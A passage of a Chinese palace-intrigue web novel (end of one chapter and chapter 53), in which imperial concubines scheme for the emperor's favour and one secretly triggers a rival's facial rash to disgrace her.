家中得知她称病,解禁后从未侍寝,愈发不耐,甚至在信中追问可是生了隐疾,再无动静,便要送年初及笄的幺妹入宫。 柳美人心里如何不急! 丽景轩内,柳美人坐在妆镜前,伺候的妙清正替她除去侧脸覆着的药纱,这是昨儿外面郎中开的民?方,即便无法根除脸上的疹子,敷上这药,也是能压制住体?内湿邪,保证数日不再生疹。 待那墨绿的药汁擦得干净,柳美人迫不及待伸手抚了抚侧脸,对着妆镜左右照了又照。 妙清呼吸紧张,看清了主子干净如初的脸颊,惊喜地瞪大了眸子,“主子,这药当真有?用!” 柳美人拂开发鬓,仔细看向耳后的肌肤,光华白?皙,与寻常无异,她眼?睛亮了起来,又想到什么,不快地拧了拧眉,“可惜只能维持几日。” 不过只这几日,也足够见到皇上,待再生疹子,再敷上药汁便是。 连日的阴霾扫了大半,柳美人不愿浪费这大好的机会?,如今后宫杨贵嫔生下公?主,张贵人有?孕,她身子又无大碍,再侍寝两回,定能怀上皇嗣! 柳美人志在必得,翌日也不再告假,早早去了坤宁宫问安。 殿内撤下了一人位子,姜嫔扶着宫人进殿,余光有?意无意扫了一眼?,却是什么都没说。 没人敢去提离了宫的陈宝林,今日瞧见许久不见人影的柳美人到了坤宁宫,嫔妃们对视一眼?,将?这话头牵扯到了柳美人身上。 柳美人有?今日遭遇,与徐答应脱不开干系,数月前,柳美人虽不是六宫最受宠的嫔妃,因旧日柳侧妃之故,得皇上几分怜惜,六宫谁不笑脸相对,何其风光,而今不似从前,杨贵嫔与张贵人接连有?孕,宓才人又圣眷正浓,孟氏女入宫,御花园的花换了一茬又一茬,皇上怎会?还记得柳美人是谁。 徐答应看柳美人最不顺眼?,倘若不是因柳美人,她怎会?无缘无故被皇上禁足,解禁后,柳美人一连数日称病不出?丽景轩,起初她疑心柳美人又在耍什么手段争宠,过些时日,发觉丽景轩毫无动静,太医倒挨个换了一个又一个,她有?心打听,丽景轩上上下下守口如瓶,嘴严实得紧,今儿见到柳美人进来,除却面容憔悴,身形消瘦些,确实看不出?有?什么大病, 柳美人一进殿,徐答应就翻了个白?眼?,“嫔妾请安数日不见柳美人,还以为柳美人是忘了这宫中规矩,不将?皇后娘娘放在眼?里呢!” 柳美人退了疹子,心情正好,也不理?会?徐答应话里的机锋,掩唇轻咳两声?,仿似极为虚弱,“前些日子吹风受了寒,身子不适,让徐答应担忧了。” 谁会?担心她啊! 徐答应被柳美人恶心的晦气,她眼?眸轻翻,止了话音,懒得再理?会?柳美人。 明裳眼?眸仿似无意掠了瞬柳美人的双颊,待看清肌肤的细白?,她微蹙起眉尖儿,轻抿唇角,收了眼?光。 柳美人的病生得古怪,痊愈得也古怪。刚过年关,天尚且寒冷,月香从外面进殿,裹挟了一身寒气,她搓搓双手,跑进内殿,脸有?愧色,“丽景轩瞒得严实,奴婢没能打听到消息。” 这也在明裳意料之中,柳美人看重此事,知晓内情的人自然都是自己亲信。 明裳指尖卷着绣帕的花样儿,眼?底眸色微闪,柳美人究竟是否治好了她的脸,一试便知。 柳美人心急,总要比她耐不住性子。 …… 乾坤宫 全福海这才向皇上通禀陈宝林离宫一事。送出宫的人回话,陈宝林临出?宫门,不知从哪得的消息,知晓了府上近况,父亲入狱,不日斩首,陈宝林当即眼前发晕,软了双腿,哭喊着要求见皇上,看着的小太监哪会?由陈宝林哭闹,强押人进了轿撵,送出?宫门。母家失势,陈宝林剩下的日子留在寺中干粗活差使,又怎会?好过。倘若陈宝林识趣,本本分分地守在宫里,还能有?一条活路,只可惜她太过自负,自以为天衣无缝,又怎能瞒得住皇上的眼?。 御案堆积了一日的奏折,李怀修揽袖持笔,眼?目淡淡地批阅了几个字。半晌不听人开口,全福海觑着皇上的脸色,怀疑皇上压根儿没把陈宝林放在心上,想来也是,陈宝林不论家世相貌,还是性子才学?,都不值得皇上在意。 他便没再提这茬。 良久,李怀修搁置了批阅奏折的紫檀朱笔,轻捻扳指,“传旨,三?日后由大理?寺行刑。” 全福海心口一怔,额头冷汗滚下,躬身应了声?。 他吩咐下去,回来伺候时,见皇上已经批阅完了御案的奏折,正提笔在宣纸上作画,画的是凌霜寒梅,全福海脑中搜罗一圈,也没明白?皇上这幅画的意思,他干脆不再揣测,反倒记挂起另一桩事,犹豫许久,仍是说出?了口,“皇上,近日承明宫中接连请了几回太医,奴才听闻,贵嫔娘娘的身子似乎不大爽利。小公?主也大抵是受生母影响,夜中有?时也会?哭闹几个时辰。” 李怀修俯身作画,淡着的脸色直到听到最后一句,才稍有?变色,他拧起眉宇,叫人看不透眼?底的暗色,“太医如何说?” 全福海听到这,才松了口气,自己这话是传对了,皇上命他亲自去知画斋传口谕,他便觉得不对,皇上待陈宝林一向 不去理?会?,为何吩咐他去办这桩事,直到经过承明宫主殿,多问的一嘴,有?几许了然,皇上真正在意的,是刚下生不久的小公?主。 皇上面上不显,心中却是极为在意皇嗣,毕竟是皇上的骨血。杨贵嫔生产后性情忽变,闭门不出?,倘若是以前,定能揣摩几分圣意,知晓该怎样请皇上过去,皇上不喜杨贵嫔的做法,谁让杨贵嫔仍是小公?主的生母,皇上待杨贵嫔的情分,也因这个孩子,较于从前,多了几分。 这夜,圣驾去了承明宫。 承明宫 今日小公?主哭闹得久了,杨贵嫔便要乳母将?公?主抱来,自己亲自去哄。 小公?主不到月份生产,胎里不足,生下就皱皱巴巴,养了些时日,脸蛋才多了些肉,仔细能看出?眉眼?间与杨贵嫔有?些相似。她低敛眉梢,温柔地碰了碰小公?主的脸蛋,似是感觉到母亲的爱抚,小公?主嘴鼓了鼓,终于不闹了,睁着圆溜溜的眼?珠,好奇地看眼?前的女人。 这时,殿外宫人传话,圣驾到了承明宫。 闻言,杨贵嫔眸子微亮了下,她揪紧了被角直起身,手心抚过发鬓,问云秀她模样如何。生下小公?主后,杨贵嫔身子大损,加之府上送进的那封家书,以至于她整日茶饭不思,憔悴许多,也只有?见到女儿,才会?露出?些许笑容。 云秀心酸地险些落泪,她上前去扶杨贵嫔,“主子姿容绰约,不施脂粉也甚是好看。” 纵使知晓云秀话中夸大,杨贵嫔也因这句安抚,而轻松许多。 没有?女子不看重自己的容色,尤其在这深宫里,女子如御花园中的花,倘若开败了,只有?被宫人挪出?换上新种,赏花的人更不会?在乎,那些凋零的花朵。 杨贵嫔不知自己怎会?变成今日这番模样,从前的自己何等高?傲,怎会?如今日这般自怜自艾。 她整理?好心绪,因身子不便,不必到宫外接驾,待李怀修进殿,她低敛眉眼?,安安静静地福礼。 素净苍白?的脸色,与孕中只为争宠,满心算计的女子判若两人。 李怀修淡淡点头,让她不必多礼。 殿内很静,伺候的宫人自觉退出?了内殿。不知为何,杨贵嫔生产时九死一生,分明有?无数话语要说给眼?前的男人,可现在,竟不知如何说出?口。她动了动唇,鼻尖竟酸涩难忍,落下两滴泪来,生怕眼?前的男人厌弃,慌忙捏了帕子擦拭眼?尾,微别过脸,涩声?,“嫔妾失仪,请皇上恕罪。” 床榻的女子身形消瘦许多,脸色苍白?如纸,倒正如太医所言。 李怀修本意并非如此,杨家是他一手养至今日,却因他的纵容,杨贵嫔的有?孕,日益狂妄,不知规矩,他不来承明宫,也是给杨家的警醒。唯一出?乎他所料的是,杨贵嫔对他的冷落,不哭不闹,也不为自己,不为杨家争辩一句。 他敛起眼?色,道了句“无妨。”遂撩袍坐下,低眸看清襁褓中刚诞下的,眼?神才有?了些柔和。 小公?主转转眼?珠,看看里面的女人,又看看正低眸注视她的男人,大抵有?所察觉,小嘴咕哝一下,眼?睛弯弯,咯咯笑出?了声?。 稚嫩的童音打破了殿里凝固的气氛,杨贵嫔顾不得感伤,眸子又惊又喜,掩唇险些又要哭出?来,她下意识抓住男人龙袍的衣袖,“皇上,小公?主会?笑了,这几日小公?主从未笑过,定是见到父皇,她便笑了!” 生产后的女子情绪敏感,极易落泪,杨贵嫔鬓边的青丝垂到脸侧,眼?眸湿润如水,佳人消瘦憔悴,最是令人怜惜。 她见男人态度逐渐柔和,轻含住红唇,眉眼?清韵,柔婉地伏到男人怀中,细声?轻语,“小公?主很亲近皇上。”顿了顿,她又仿似委屈,“嫔妾生下小公?主后,皇上就没再来看过嫔妾。” 李怀修眸色掠过怀中女子的侧脸,眼?目平静,六宫之中的嫔妃,有?先?帝旧党,有?中立世家,亦有?他一手培养出?的近臣,杨家在其中,他最是重用。杨家的女儿亦是精心做秀云培养,杨家也确实会?养人,杨贵嫔生性高?傲,却能在宫中折低腰肢,红袖添香,不可否认,在此之前,李怀修确实愿意宠着怀中这个女子。 然而,入了宫的女子,时日已久,为这分圣宠,终究都要变了心性。 他淡下眼?光,平静道:“朕前朝事忙,得空自会?来看你。” 当真是忙吗?可是杨贵嫔却听说,前几日,皇上召了宓才人侍寝。 宓才人……那般娇美动人,生动活泼的女子。 杨贵嫔本不屑于与六宫嫔妃争宠,不知为何,提到宓才人,她便不觉生出?浓浓的嫉妒,她是去岁秀女中最先?得宠的那个,也知晓,皇上宠着一个人时,是什么模样。自从有?了宓才人,皇上对她的态度,就淡了许多。 她深知帝王多情也无情,也深知宓才人依靠美色的宠爱,长久不了,可她忍不住,忍不住嫉妒那女子早已胜于自己的圣宠。 杨贵嫔轻吸了口气,压住心底的酸楚,皇上最厌恶后宫的争风吃醋,她有?孕时已经犯了太多的错,既然平安生下了这个孩子,还有?挽回的余地,她不能再错下去。杨家遭了皇上不喜,她就是为了家中门楣,为了刚生下的女儿,也要再得圣眷,不能一错再错。 她没有?因宓才人侍寝而争辩哭闹,眼?底潮热,如曾经受宠时柔柔低首:“皇上今日可是还有?政务,可否能留下陪陪嫔妾?” 女子极为小心地,带了一丝哀怜的乞求。 李怀修凝着女子的脸,因杨家迁怒,她又在此前做了太多不喜之事,他只觉索然。但许是因但念及她生产艰辛,艰难诞下皇嗣,他没拂了她的脸面。 稍许,他淡声?开口,“朕已想好了公?主封号,明日让人宣旨传召。” 杨贵嫔眼?尾还红着,闻言,面容感激不已,“小公?主得皇上疼爱,是嫔妾的福分。” 她从始至终都没为父亲求情,也没为自己求得妃位,她知道皇上现在不喜听这些,总归来日方长,只要她重得圣宠,总有?机会?。 …… 翌日圣旨传召六宫,赐小公?主封号为景和。圣驾去了承明宫,意味着杨贵嫔终究在皇上心里有?一分席位,可皇上既然赐小公?主封号,却迟迟不册封杨贵嫔妃位,其中的意思也耐人寻味。 这日请安回来,徐答应踏进承明宫的宫门,就见尚宫局的小太监捧着匣子相继而入,徐答应使了个眼?色,素冬心领神会?,截住了末尾的小太监,往他袖中塞了一个金珠,“我家主子有?几句话要问问公?公?。” 小太监垫了垫,眼?底堆笑,弓着身子到徐答应跟前,“徐主子请说。” 徐答应瞄了眼?走?远的人,看方向是往主殿去的,“公?公?送的是什么?” 小太监应声?回话,“贵嫔娘娘生产后身子虚弱,奴才送的是皇上赐下补身子的药,前面几个公?公?送的是给景和公?主的赏赐。” 皇上疼爱宝珠公?主,后宫人尽皆知,而今后宫里又多了一位景和公?主,皇上也未厚此薄彼,可见皇上看重皇嗣,后宫谁能诞下皇嗣,就是多了一道护身符,不止能得圣宠,日后也有?了倚靠。 徐答应眸光转了转,抬眼?望向主殿的飞檐,扯着手心的娟帕,声?音淡而轻,“贵嫔娘娘身子不适,身为宫中主位,我等不前去探望一番,倒也不合规矩。” 这番话说得有?理?有?据,叫人反驳不出?,徐答应心里有?自己的盘算,皇上能赐小公?主封号,来看杨贵嫔,可见杨贵嫔还未全然失了圣宠。她暗自懊悔之前得罪了杨贵嫔,她自从解禁后,皇上仿似忘了她这个人,与其日复一日的坐以待毙,不如自己寻一条出?路。皇上能来承明宫一回,就能有?第?二?回。希望杨贵嫔不计前嫌,宽容她一二?。 徐答应如此打算,回秋水榭梳洗一番,就去了主殿问安。 承明宫主殿烧着地龙,一进去暖如春日,徐答应禁足期间不得圣宠,内务府的奴才见她失宠,每月克扣炭火不提,就是送来的,也是不好起火,熏得呛人的下等黑炭。徐答应熬了三?个月,才熬过这个冬日,再进主殿,感受到无形中的皇恩,心底颇有?不平,即便有?宓才人分去了杨贵嫔的圣宠,杨贵嫔也要高?出?她一截。 徐答应不着痕迹地抿了抿嘴角,待迎人的宫女出?来,立即换上了一副笑脸。 云秀将?徐答应的脸色看入眼?底,心头冷笑,皇上就是冷淡了主子,主子位居承明宫主位,这些次位的嫔妃也得恭着敬着。之前徐答应还那般嚣张,而今见主子平安诞下公?主,宠得圣宠,又巴巴地凑过来。 她福了礼,不卑不亢地迎徐答应进殿。徐答应没瞧出?云秀眼?底的神色,生出?一副担心的模样,低声?询问,“贵嫔娘娘身子可还好?嫔妾见太医频繁来往承明宫,心里实在记挂贵嫔娘娘的身子。” 云秀回道:“劳徐答应挂心,主子身子是虚弱了些,并无大碍。” 不论徐答应是否真心一问,明面上都要走?个过场。 徐答应看过杨贵嫔,说了几句话,见杨贵嫔面露疲惫,很有?眼?色地请身离开。 待人一走?,云秀忍不住将?徐答应殿外露出?的脸色说给杨贵嫔,“主子身子不适,何故撑着精神见她,奴婢瞧着,徐答应没安几分好心。” 杨贵嫔将?怀中的小公?主交给乳母,拂手让人下去,脸色渐渐转的冷了,她轻笑一声?,“本宫要的,就是她不安好心。” 云秀惊诧地抬起眼?,“主子是想……” 杨贵嫔眼?光黯淡,“本宫身子尚不适合侍寝,新人里没几个中用的能争得过宓才人,徐答应虽存着心思,不过也是希望到本宫这来好见皇上一面。” 她嘴角扯出?一抹笑,细看却是极为苦涩,“本宫就算遂了她的心意又能如何,没有?她也有?旁人,这后宫的恩宠,总不能只留在一人身上。” 云秀捏紧了手心,心疼地看着自家主子,以前主子何等骄傲,怎堪忍受自己做那把梯子,扶旁人上位,而今主子却是要这样做,也不得不这样做。 她轻呼一口气,躬身退出?了内殿,杨贵嫔阖眼?倚着引枕,良久,她掀开眼?,床案摆着徐答应送来百花果子,红艳艳的刺眼?。 她坐起身,蓦地抬手,碟里的红果应声?而落。 杨贵嫔低眼?,拂去手背的脏污,眸底划过一抹冷笑,凭她徐答应是谁,也配攀附自己。 …… 明裳听说了皇上赐给景和公?主的赏赐,并没太过惊讶,后宫子嗣不多,为稳大魏基业,皇上重视皇嗣,也在情理?之中。 膳房今儿做了牛乳羹,明裳贪食,多吃了两小碗,到夜中腹胀难受,不得已深更半夜去请了太医。 她恹恹无力地伏在床榻里,可急坏了伺候的几人,还以为是有?人故意害主子,往主子晚膳里投了毒,直到太医进来诊脉,道明缘由,殿内几人面面相觑,具是惊讶。送走?太医,月香忍笑扶起明裳,“明日奴婢定要看好了主子,不能再由主子贪嘴。” 见这丫头还敢取笑自己,明裳眸子瞪圆,哼了声?,“今日的经书可抄完了,拿过来给我看看。” 月香小脸一下子就垮了,“奴婢不敢了,主子可饶了奴婢吧,奴婢一看那经书就头疼!” 顺湘苑夜里请太医,闹得动静大,很快就传到了旁人耳中,翌日明裳一踏进坤宁宫,就察觉有?人将?目光放到她身上,正盯着自己。 “听闻昨夜宓才人宫里传了太医,可是身子有?什么不适?” 姜嫔一问出?这话,殿内静下来,众人仿若有?默契般,停了说话。有?人好似不经意,扫了眼?明裳平坦的小腹,触到那人视线,明裳了然了缘由。眼?下六宫,她承宠最多也最久,宫中嫔妃相继有?孕,料想那些人是怕她也怀上了皇嗣。 她稳稳地坐下身子,故意先?抿了口茶水,直到有?人等不及了,她才脸升红晕,含笑开口,“叫姜嫔娘娘笑话,嫔妾昨夜吃多了牛乳羹,腹中不适,才传的太医。” 听闻缘由,众人嘴角微抽,牛乳羹在宫里并不稀罕,但月例都是有?限的,倘若宫里没有?膳房,想要多吃还当真没有?。宓才人得意,还不是因为皇上不止赏了宓才人膳房,还将?御用的厨艺一并赏去了。六宫中,怕是没人比宓才人日子过得滋润。 姜嫔倒是能装模作样得出?来,她轻柔掩了掩唇角,“皇上宠爱宓才人,倒是本宫艳羡。” 姜嫔的一句话,将?矛头都针对到了明裳身上,明裳敛去了嘴边的笑,“姜姐姐此话何意?嫔妾伴驾之时,可是听皇上多有?提及姐姐,姐姐如今又位居宫中主位,才是叫嫔妾等羡慕。” 殿内静了瞬,姜嫔掀起眼?,微微一笑,“宓才人口舌伶俐,本宫是说不过宓才人。” 姜嫔并非真的斗不过嘴上功夫,她要避开的,是宓才人的圣宠,这宫里争宠,看得不是位份高?低,而是是否合皇上心意。 今儿这趟请安,月香憋了一肚子气,她跟着主子进宫这么久,也长了点心眼?儿,哪看不出?姜嫔是以退为进,更为主子拉了六宫的仇恨,那些人自己没本事不得圣宠,还见不得旁人好过,当真是不要脸! 昨夜那牛乳羹吃得明裳腹中难受,太医开了两副汤药,须吃上一日,明裳小口小口喝完苦汤药,月香立即送上蜜饯,辛柳俯下身,整理?明裳膝上盖的绒毯,“太医说主子腹中难受,也与近日的吃食有?关,冬日寒凉,主子身子娇弱,万不能再度贪凉。” 蜜饯在口中尝出?酸甜,褪去了唇舌的苦涩,明裳刚要想吃凉糕的念头生生压了下去,怪御前那厨艺手艺实好,做什么都能令人食欲大开。 …… 这夜李怀修并未召人侍寝,至深夜,乾坤宫还掌着光亮,敬事房的小太监捧着六宫嫔妃名?册无声?而出?,全福海近了御前伺候笔墨,他有?件事,不知该不该向皇上通禀。昨夜顺湘苑传了太医,今儿六宫都知晓了这事,全福海本还担心是宓才人身子出?了什么岔子,哪知一打听才知道,宓才人竟是因为吃多了牛乳羹,腹中难受,闹了个乌龙。这事说大不大,搁在旁人身上,全福海必不去理?会?,谁叫那人是正得圣眷的宓才人。 他想了想,还是低声?禀出?了口。 李怀修正在看工部上表的用度,闻言,眉峰微挑,掀了掀眼?皮,朝全福海不咸不淡地斜睨去一瞬,触到皇上目光,全福海忙恭敬地低下头,紧接着,他便听到皇上轻嗤了一声?。 “整日就知道给朕丢脸。” 用膳都能吃到积食,又非平日有?多苛待了她。 全福海察言观色,提到宓才人,皇上情绪明显有?变,他憋住笑,松了口气,今儿朝上又因工部一年索要的支出?吵得不可开交,文臣嘴皮子功夫厉害,皇上坐在那位子上,不耐烦地听了两个时辰,全福海都怕皇上一个动怒,将?朝上两个硬骨头的老臣拖出?去斩了。 第053章 第 53 章 徐答应近日常去给杨贵嫔请安, 一来二去,还真的见到了一回圣驾。 她编了首童谣唱给景和?公主,殿内其?乐融融之时, 正逢皇上进来, 听见了这首曲子?。记起了徐答应这个人,没?过多久, 便召了徐答应侍寝。 翌日徐答应再去给杨贵嫔问安,却?听说杨贵嫔身子?不适,徐答应心中自有计较, 自己?能得侍寝,其?中也有杨贵嫔推波助澜,但后宫的女?人,没?有心甘情愿为她人得宠铺路的,杨贵嫔即便见了她, 心里也是不痛快, 徐答应没?再自讨没?趣, 她既侍了寝,要比往日风光许多,到坤宁宫时, 故意摆弄腕间皇上赏赐的手钏, 招了不少人眼,徐答应不懂藏锋,对此颇为自得。 柳美人与?徐答应恩怨最深,同样解了禁足,徐答应却?先她一步侍奉皇上, 她怎能见得这人好过。 她脸上的不忿明显,徐答应一抬眼, 就瞄见柳美人手中的帕子?都要扯成了两截,心里十分得意,故意开口,“柳姐姐脸色不好,可?又是身子?不适了?” 旁人的目光也瞧向柳美人,见柳美人眼底都要气得冒火了,顿时了然,柳美人入宫要早新?人半年,又是先柳侧妃嫡亲妹妹,如今却?要被一个常在压过一头,怎能甘心。 柳美人皮笑肉不笑地?道了一句,“昨夜吹了风,身子?有些?不舒服,徐妹妹倒是细心,这也能瞧出来。” 徐答应面容娇俏,笑道:“昨夜风是大了些?,嫔妾等在宫门接迎圣驾,冻得身子?生寒,皇上还训斥了嫔妾,叫嫔妾多穿些?衣裳,免得受了风寒。” 这些?话,皇上自是没?跟她说,真真假假谁又能分的清,昨夜是她侍寝,这后宫里除却?宓才?人,近些?日子?有谁侍奉过圣驾,她就算说了假话,旁人也听不出。 柳美人气得牙根都要咬碎了,旁人看?着?热闹,听徐答应侍寝如此张扬自得,也忍不住翻了个白眼,不过沾了杨贵嫔的光,才?承得的雨露,没?有杨贵嫔,皇上能记得徐答应是谁。这杨贵嫔生产后是疯了不成,不为自己?的妃位考虑,居然还给旁人做嫁衣,也不怕假以时日,徐答应升了位份,欺负到自己?头上。 这一大早,柳美人就又与?徐答应结了仇,两人一向不对付,积怨越深,柳美人就越看?徐答应不顺眼,恨不得除之而后快。 明裳乐得看?两人好戏,六宫嫔妃众多,皇上宠她,却?也不会只临幸她一人。明裳倒不在乎皇上召了谁侍寝,旁人侍寝于她而言也有好处,至少后宫不会瞄准她一人做靶子?。 回了顺湘苑,夜中,明裳膝上盖着?绒毯,正借着?琉璃宫灯,看?手中话本,忽想起一件事,召月香进来,“打听到了,明日柳美人可?还是告假?” 月香正好打听到了这事,点了点头,“奴婢听太医院捣药的小宫女?说,柳美人是吃坏了东西,身子?不适,要告假两日。”她顿了下,与?明裳对视了一眼,“奇怪的是,丽景轩按太医院的方子?,称为柳美人调理身子?,又添了两味药,奴婢问了捣药的小宫女?,那两味药确实?是调理身子?所用。” 明裳眸色一动,猜出了几分其?中的缘由,她并未十分的确认。她嘴边笑意意味深长,“想必柳美人是请到了一位医术高明的郎中。” 月香没?听懂主子?话中的意思,柳美人称病告假,与?医术高明的郎中有何干系。她没?捋清个中缘由,明裳对此也只是猜测,她合起手中话本,想到白日里徐答应与?柳美人的一番阴阳机锋,嘴角微扬,或许正好可?以借徐答应一用。 “往丽景轩和?秋水榭递个消息,过几日,皇上要去梅园赏景。” …… 柳美人告假两日,身子?一好,就迫不及待地?去了御花园。还未开春,天寒得厉害,柳美人竟是只穿了一层胭脂红的薄纱,朦朦胧胧罩着?姣好的身段,她精心打扮过,眉心点了金箔,唇珠嫣红似粉,步履间腰肢袅袅婀娜,行在梅林中朦胧绰约,仿似林间仙子?。 她费尽心思打听到了皇上今儿要来梅林赏景,故而刻意装扮,便是要等皇上过来,惊鸿一面。梅梢的雪水还未融化,柳美人脸色不复来时的红润,不停地?跺着?脚,搓揉冻得发僵的双臂,等了有小半个时辰,还不见圣驾,柳美人眉尖儿颦蹙,不禁开始心急。 妙清从林外小跑而来,怀中抱了个热乎乎的暖炉,塞到柳美人手里,“奴婢就近从内务府取的,主子?快些?暖暖身子?。” 柳美人捂上暖炉,才?觉活了过来,她为显得不那么刻意,出来一路也未披披风,早已冻得血液都僵住。她忍了忍,终于有些?不耐烦,“你当真没?听错,皇上今儿要来梅林?” 丽景轩的柳美人是个不好伺候的主儿,妙清这小半年深有体会,此时又遭主子?呵斥,心里委屈十分,她生怕自己?听错,还有意问了一遍,但这种事也不是传言说什?么就是什?么,倘若皇上没?了兴致,自然就不会过来。 妙清不敢说出心中腹诽,斟酌道:“奴婢万万不敢欺瞒主子?,皇上大抵是被政务牵绊住了心神,才?不见圣驾,主子守得实在有些久了,冻坏了身子?可?不好,不如先回丽景轩,改日再寻时机。” 来时柳美人还满心欢喜,被冻了大半个时辰后,欢喜之意早已冻成了冰块。柳美人也开始烦躁,她将怀中的暖炉往面颊凑了凑,鼻翼间忽闻到一股熟悉却?又异样的香味儿,她微拧眉,说不出这种感觉,当是内务府那帮奴才?见她不得圣宠,有意敷衍了事,心底愈发恼火,“罢了,今日便算了!” 她转身,往前走了一步,梅林外,隐隐约约走近一道人影,徐答应披着?靛青色的披风,眉眼浓妆淡抹,珠钿翠羽,罗裳轻飘,端的是一副古雅芳华之姿。 她走进梅林,抬眼瞧到面对面站着?的柳美人,红唇微张,亦是讶异。紧接着?打量过柳美人薄如蝉翼的衣着?,瞬间了然,不禁掩唇笑了声,“柳美人隔几日称病告假,今儿倒是不嫌冷,竟有这般风流雅趣。” 柳美人如此情形叫人撞见,尤其?那人还是徐答应,面露难堪,她气急,冷眼看?去,争辩道:“徐答应有所不知,太医如此叮嘱于我,受过寒气,逼迫出体内湿邪,有益身子?痊愈。” 徐答应就算不通医理,也明白那湿邪之气怎能用寒气逼迫,她稍微一想便知,柳美人大抵是与?她一般的缘由,听闻圣驾今儿要来梅园,才?在此候着?,只不过柳美人比她要狠的下心,大冷的天儿,也不怕真的病了。 她嘴角嗤笑,不欲与?柳美人多费口舌,柳美人冻了这么久,怕是受不住,要回丽景轩,等她走了,自己?才?好继续等在这。 偏生,柳美人看?出了徐答应的心思,她怎会让这贱人得逞,便也不打算离开。 妙清扶着?柳美人的手腕,都感受到主子?浑身冰冰凉凉,不见热乎气,再冻下去,主子?身子?定是受不住,她委婉劝道:“眼下到了吃药的时辰,主子?近日身子?不适,太医交代万万要守着?时辰,主子?不如先回去吃了药,明日再来赏梅。” 她话中也并未有假,主子?脸上敷的药膏要每日一副,才?能保证不会第二日不会生出疹子?。 经妙清提醒,柳美人险些?忘了大事,她是被徐答应气糊涂了,她掐了掐衣袖,早晚要亲自收拾了这日日唱曲儿的贱人。 柳美人扶着?妙清的手,正要走出梅林,擦肩而过时,耳边却?听人惊呼了一声。徐答应瞳孔震惊,捂住嘴角下意识退了两步,脚下被石子?绊倒,一个趔趄,险些?摔到地?上,她望着?柳美人脸上生出密密麻麻的红疹,浑身汗毛倒竖,“柳美人……你的脸……你的脸怎这般吓人!” 她手抖了下,避开余光,都不敢往柳美人脸上瞧。 柳美人本还皱眉,见徐答应一副见了鬼的表情,尖叫一声,飞快地?捂住双颊,眼底又气又怒。她躬着?身子?,无暇理会徐答应的惊恐,给妙清使了个眼色,“回丽景轩!” 那郎中不是说可?保三五日不生疹子?,这才?第一日,怎会又成了这般! 主仆二人行色匆匆,手炉掉到红梅树下也无人去管,徐答应心有余悸,回过神才?发觉柳美人的反应颇为奇怪,难不成,柳美人的病并非身子?不适,而是生了几日要用药除掉的红疹? 徐答应还没?想明白,远处的宫人急匆匆跑进梅林,惊喜地?通禀,“主子?,圣驾往承明宫去了!” 听闻皇上去了承明宫,徐答应哪还有心思想什?么柳美人,顿时喜上眉梢,“快!快回承明宫!” 早知皇上要去承明宫,她今儿压根儿就不会来这梅林。 待徐答应走远,梅林洒扫的小宫女?偷偷上前,环顾四下无人,俯身捡走了留在梅树下的手炉。 …… 顺湘苑 明裳把?玩着?彩蝶如意手熏乐得合不拢嘴,“事办得不错,玲珑匣子?里的金珠拿去赏了吧。” 月香登时喜笑颜开,“全是主子?主意出得好,奴婢不过是照着?主子?吩咐办事。”她抬眼,瞄去丽景轩的方向,太医来得快,这几日太医院的太医几乎隔三差五地?往丽景轩去。 她其?实?有些?担忧,“主子?,柳美人这回会不会猜出是何处有异?” 那手炉是从内务府拿来的,虽被她拿了回来,不留痕迹,难免柳美人疑心。 明裳早已有此打算,她本就没?想过,留下柳美人。 她眼眸轻转,流转着?波光的眼珠抬起来,“彩芸如今在丽景轩做下等的粗活,也是苦了她这个昔日风光的大宫女?。” …… 那日过去,柳美人有三五日没?去坤宁宫问安,徐答应与?柳美人一向不对付,看?到了这出好戏,怎能不替柳美人宣扬宣扬,很快宫中流言四起,都说柳美人是毁了容貌,才?不得皇上喜欢,传得绘声绘色,柳美人听到这番流言,恨得牙痒痒,内务府的奴才?敷衍了事,还未入春,净挑拣着?别宫不要的黑炭送到丽景轩,弄得内殿乌烟瘴气,根本无法住人。皇上念着?长姐的情分,待她亦有几分圣眷,入宫后,何时受过这般待遇! 再说那日分明还没?到药效,脸上怎会突然起了疹子?? 柳美人越想越不对劲,她微拧眉,指尖搅着?帕子?,忽地?神色一闪,记起了什?么,猛地?坐起身,“手炉!” 一旁伺候上药的妙清被主子?骤然的动作吓到,忙护住怀里捣好的药膏,疑问出口,“主子?在说什?么?” “手炉!”柳美人喃喃自语,语气笃定,她蓦地?抬起眼,盯向面前伺候自己?已有小半年的妙清。 妙清并非是她从府中带进来的,只是伺候着?顺心,彩芸又太过蠢笨,她才?点了妙清留在殿内伺候,自从留下妙清后,她脸上就生了疹子?,那日也是妙清给她递的消息,结果圣驾根本没?去梅园,手炉也是妙清从尚宫局取来给她的,便是那么巧,让徐答应知晓了她脸上生的疹子?。 种种怪异之事,都是因为,她指了妙清,这个看?起来伶俐尚可?的丫头,做了自己?的大宫女?。 柳美人的眼光盯得妙清发毛,妙清身子?打了个冷颤,被逼迫地?后退了一步,稍许,扑通跪下了身,哆哆嗦嗦道:“主子?可?是有事要吩咐奴婢?” 主子?不是没?露出过这么可?怕的眼神,但以前都是针对六宫别的主子?娘娘们,这是头一回,主子?对自己?露出这么可?怕的神色。 妙清吓得凉汗涔涔。 柳美人眼眸微眯,缓缓坐下身子?,额头微低注视着?妙清的神情,冷淡开口,“你伺候我也有几个月了。” 主子?从未审问过她这些?,妙清不蠢,细一思索,将事情前因后果猜出几分,她猛地?叩到地?上,“奴婢跟着?主子?已有五月余。” “五个月……”柳美人喃喃重复这三个字,倏地?一嗤,“倒是有本事。” 妙清脊背无端生出一股凉意,她摸不清主子?这句有本事究竟是什?么意思,她心惊胆颤地?跪着?,不敢抬头。 柳美人侧脸照了照脸上留下的红痕,眼尾斜挑,睨向地?上的妙清,“你当知晓,背主的下场。” 妙清骇然大惊,面色陡变,“奴婢不敢,奴婢昔日伺候在尚宫局,不过半年就调入了丽景轩伺候主子?,奴婢从未侍过二主,怎会背叛!就是给奴婢一百个胆子?,奴婢也不敢背叛主子?啊!” 此时妙清说什?么都已无用,柳美人已经起了疑心,自从妙清伺候她,她便渐渐失了圣宠,纵使妙清并未背主,也是个不详奴才?命,柳美人是不会让她继续伺候下去。 她冷淡地?转过脸,“眼见开了春儿,洒扫处正缺人手,你便去那儿洒扫吧。” 妙清脸色发白,委屈的泪水簌簌就滚了下来,洒扫处那种地?方,安排都是没?有倚仗,地?位极低的奴才?,整日能不能吃饱饭不说,月银也有掌事克扣,她从丽景轩出来,定然被人以为是遭了主子?厌弃,极易受人欺负啊!去了洒扫处,日后哪还会有生路! 她声音发颤,边哭边求,“主子?,奴婢不敢背主啊!奴婢只有您一个主子?,求主子?再给奴婢一次机会,留奴婢在您身边伺候吧!” 